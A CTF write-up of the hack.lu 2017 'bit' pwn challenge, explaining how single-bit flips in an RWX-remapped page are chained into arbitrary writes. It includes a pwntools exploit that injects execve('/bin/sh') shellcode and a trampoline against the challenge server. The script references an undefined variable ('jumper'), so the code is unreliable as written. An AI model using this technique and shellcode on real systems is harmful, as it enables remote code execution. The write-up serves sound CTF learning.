Rating:

## 2017/hack.lu/bit (pwn / 150pts) ##

*"No matter what conspiracy theory you believe in - i believe that one wrong bit is enough to rule them all."*

*"nc flatearth.fluxfingers.net 1744"*

I found this challenge really fun, even if it took me some time to resolve it (still beginning at pwning), plus the fact that I was at work ... :D

We are given a 64bit dynamically linked binary :

```
-> file bit
bit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped
```

On which we check for enabled security features :

```
-> checksec bit
[*] '/home/gov/hack/ctf/hack.lu/pwn_1/bit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

And then start doing a static analysis on it :

```C
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed __int64 result; // rax@2
_BYTE *v4; // rsi@5
_BYTE *v5; // rax@5
__int64 canary_check; // rsi@6
__int64 canary; // [sp+1038h] [bp-8h]@1

canary = *MK_FP(__FS__, 40LL);
if ( __isoc99_scanf("%lx:%u", &mem_dst, &value) == 2 )
{
if ( value <= 7 )
{
mprotect((mem_dst & 0xFFFFFFFFFFFF1000LL), 4096uLL, 7);

*mem_dst ^= 1 << value;

mprotect((mem_dst & 0xFFFFFFFFFFFF1000LL), 4096uLL, 5);
result = 0LL;
}
else
{
result = 0xFFFFFFFFLL;
}
}
else
{
result = 0xFFFFFFFFLL;
}
canary_check = *MK_FP(__FS__, 40LL) ^ canary;
return result;
}
```

The code generated by IDA is pretty straightforward to understand.
The program wait for the user to enter two values separated by a colon => "%lx:%u"

The first value must be a long hexadecimal value.
The second must be an unsigned integer and equal or below 7 to reach the branch where mprotect is called, else it quit.

Once corrects values are given, here's what happen :

```
-> echo '400000:1' | strace -e mprotect,read ./bit
....
....
read(0, "400000:1\n", 4096) = 9
mprotect(0x400000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x400000, 4096, PROT_READ|PROT_EXEC) = 0
+++ exited with 0 +++
```

We can see the mprotect call which set the 0x400000 to PROT_READ|PROT_WRITE|PROT_EXEC aka 7 aka RWX.
We also see that the flag is set to RX just after.

But between theses two mprotect call, we have :

```
*mem_dst ^= 1 << value;
```

So if we entered : 400000:5
It would write (content at address 0x400000) ^ (1 << 5) at 0x400000

So, what can we do with a restricted write "ANYWHERE" ? Lot of things.

## Looping the CODE ##

The first thing we need to do is to loop the execution flow (by modyfing an opcode or a jump/call address), it will permit us to write more bytes, so we can get a shell.

Using this input :

400713:0

Which transform :

```
gef> x/3i 0x400710
0x400710: mov rdi,rax
0x400713: call 0x400520 <mprotect@plt>
0x400718: mov eax,0x0
```
to :
```
gef> x/3i 0x400710
0x400710: mov rdi,rax
0x400713: jmp 0x400520 <mprotect@plt>
0x400718: mov eax,0x0
```

Which I still don't know why (fuzzed it), still haven't debugged.

I also found another one way working.

## Break the 2nd mprotect ##

Now that we can send multiples writes, let's make our use of the first mprotect permanent. We can do that by "modyfying" the address of the jump to mprotect.

Using this input :

400714:7

Which transform :

```
0x400713: jmp 0x400520 <mprotect@plt>
```
to :
```
0x400713: jmp 0x4005a0
```

Here we jump near a ret by just changing one byte of the lower address.
So it basically "disable" this mprotect :

```
gef> x/10i 0x4005a0
0x4005a0: pop rbp
0x4005a1: ret # end of mprotect
```

## Bypass the allowed char range (0->7) ##

At this point, we are able to :


- make any mapped memory page +rwx (easy NX bypass)

- write a value anywhere that will be xored with the value we replace and shifted to the left by 1.


This is not enough (or is it ??) to exploit the binary, we need a write-what-where primitive to send a shellcode, because the range is too small, and because we can ;)

By modyfying the cmp instruction to allow any (almost) unsigned integer using this input :

40069d:7

Which modify :

```
0x40069b: cmp eax,0x7
```
to
```
0x40069b: cmp eax,0xffffff87
```
And allows us to write ANY bytes (from 0x0 to 0xff)


## Disable the left bit shifting ##

That would be done with : 4006ef:1

Which change :

```
gef> x/5i 0x4006e7
0x4006e7: mov edi,0x1
0x4006ec: shl edi,cl
0x4006ee: mov ecx,edi
0x4006f0: xor edx,ecx
0x4006f2: mov BYTE PTR [rax],dl
```
To :
```
gef> x/5i 0x4006e7
0x4006e7: mov edi,0x1
0x4006ec: shl edi,cl
0x4006ee: mov ebx,edi
0x4006f0: xor edx,ecx
0x4006f2: mov BYTE PTR [rax],dl
```

If you look carefully at the code, will make the shl useless as the result is then stored to the ebx register which is not used.

## 3xpl0it that fun binary ! ##

I easily guessed where I could send the shellcode.

0x600960 was a good candidate because it wasn't used and just filled with null bytes (so I won't have to bother xoring with the existing bytes)

The harder was to find a way to trigger the jump into the shellcode.
I can only write one byte at time, so if I change an address in a jump instruction , once the program will "loop", it will send us in the middle of nowhere :/

So I thought about it a little and found a way.

Let's write our "trampoline" into a branch of the executable that we can trigger (like the char limitation) o/

We just have to write our trampoline at 0x40068b
And use a number higher than 0xffffff87 to trigger it.

```
if ( value <= 0xffffff87 ) {
mprotect stuff
} else {
0x40068b : "push 0x600960 ;
... ret"
}
```

We will have to xor each byte we write with the actual value of the location we write to.
Using pwn.ELF make suchs things easy.

But enough talk, here is the code :

```python
from pwn import *
from sys import *
from time import sleep

if '-d' in argv:
context.log_level=1

if '-r' in argv:
s = remote('flatearth.fluxfingers.net',1744)
else:
s = process(['/usr/bin/env','-','/home/gov/hack/ctf/hack.lu/pwn_1/bit'])

e=ELF('/home/gov/hack/ctf/hack.lu/pwn_1/bit')

sleep(.2)
s.send('400713:0' + '\n') # Loop the prog
log.info('Binary looped!')

sleep(.2)
s.send('400714:7' + '\n') # break mprotect reset
log.info('broke mprotect reset!')

sleep(.2)
s.send('40069d:7' + '\n') # break char range
log.info('char range')

sleep(.2)
s.send('4006ef:1' + '\n') # bypass shl \o/
log.info('disable shift')

sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

pos=0
for i in range(0x600960,0x600960+len(sc),1):
byte=ord(sc[pos])
s.send('{}:{}\n'.format( hex(i)[2:],byte))
log.info('Writting {} at {}'.format(hex(byte),hex(i)))
pos+=1

# push 0x600960 ; ret
trampoline="\x68\x60\x09\x60\x00\xc3"

# this zone is not empty so I have to xor with existing byte (thanks to pwn.ELF)
pos=0
for i in range(0x40068b,0x40068b+len(jumper),1):
byte=ord(trampoline[pos]) ^ ord(e.read(i,1))
s.send('{}:{}\n'.format( hex(i)[2:],byte))
log.info('Writting {} at {}'.format(hex(byte),hex(i)))
pos+=1

# trigger branching on 0x4006a0 where the trampoline is written
s.send('600000:999999999999999\n\n')
s.interactive()
```

Hope you liked it !

-govlog-

Original writeup (https://rot26.team/CTF/Hacklu/2017/pwn/pwn_bit/).